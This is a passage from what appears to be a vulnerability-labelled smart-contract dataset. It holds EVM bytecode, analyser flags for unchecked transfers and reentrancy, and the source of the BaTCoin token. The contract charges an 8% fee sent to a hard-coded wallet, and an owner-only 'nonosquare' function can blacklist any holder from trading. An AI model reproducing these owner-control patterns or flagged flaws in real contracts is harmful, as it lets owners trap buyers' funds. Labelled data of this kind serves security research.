b600054600160a060020a038281169116141561174d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a031681565b6000600a8281548110151561179c57fe5b9060005260206000209060020201600001549050919050565b6000838152600960205260408120548015156118315750600a5460008581526009602052604090208190556117ea84846119b5565b50848387600160a060020a03167f6df6c216231bd708d3e746d1a7cb553770e29f153c865281b9604831c8de76f260405160405180910390a4600880546001019055610ba8565b600a80548290811061183f57fe5b906000526020600020906002020160010154600014156118e65783600a8281548110151561186957fe5b6000918252602090912060029091020155600a80548491908390811061188b57fe5b906000526020600020906002020160010181905550848387600160a060020a03167f6df6c216231bd708d3e746d1a7cb553770e29f153c865281b9604831c8de76f260405160405180910390a4600880546001019055610ba8565b611910600a828154811015156118f857fe5b90600052602060002090600202016001015484611977565b600a80548390811061191e57fe5b906000526020600020906002020160010181905550848387600160a060020a03167f998a1fb91e2220c5ffc86578105103b78d779222c8413d64d12b0e1838f43b5460405160405180910390a450600195945050505050565b600082820183811080159061198c5750828110155b151561199457fe5b9392505050565b600081830383831180159061198c57508381111561199457fe5b600a80546000916119c99060018301611ad2565b50600a805484919060001981019081106119df57fe5b6000918252602090912060029091020155600a80548391906000198101908110611a0557fe5b600091825260209091206001600290920201015550600a5492915050565b815481835581811511611a4f57600502816005028360005260206000209182019101611a4f9190611afe565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611a9557805160ff1916838001178555611ac2565b82800160010185558215611ac2579182015b82811115611ac2578251825591602001919060010190611aa7565b50611ace929150611b5d565b5090565b815481835581811511611a4f57600202816002028360005260206000209182019101611a4f9190611b77565b611b5a91905b80821115611ace57600080825560018201805473ffffffffffffffffffffffffffffffffffffffff1916905560028201819055611b446003830182611b97565b5060048101805461ffff19169055600501611b04565b90565b611b5a91905b80821115611ace5760008155600101611b63565b611b5a91905b80821115611ace5760008082556001820155600201611b7d565b50805460018160011615610100020316600290046000825580601f10611bbd5750611bdb565b601f016020900490600052602060002090810190611bdb9190611b5d565b505600a165627a7a72305820ad750f444f8e7f196e5105d796eb3c0c19b4e9f1e1cd64bbe907d9d9435b90cb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,069
0xe9119ae39c6485169550f4ee6e6234d9670f045d
/** BaTCoin Telegram - https://t.me/BaTCoinerc/ Website - www.batcoinerc.com */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BaTCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "BaTCoin"; string private constant _symbol = "BaTCoin"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x622e5F352CD8DF5930D6e16bA0b4A172382C21e6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600781526020017f426154436f696e00000000000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000678ac7230489e80000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283678ac7230489e80000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b678ac7230489e80000600f81905550678ac7230489e80000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f426154436f696e00000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83678ac7230489e80000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e86112696014678ac7230489e80000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f601e678ac7230489e80000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a819055506008600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a819055506008600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000678ac7230489e8000090506123d8678ac7230489e80000600854611d8f90919063ffffffff16565b8210156123f657600854678ac7230489e800009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020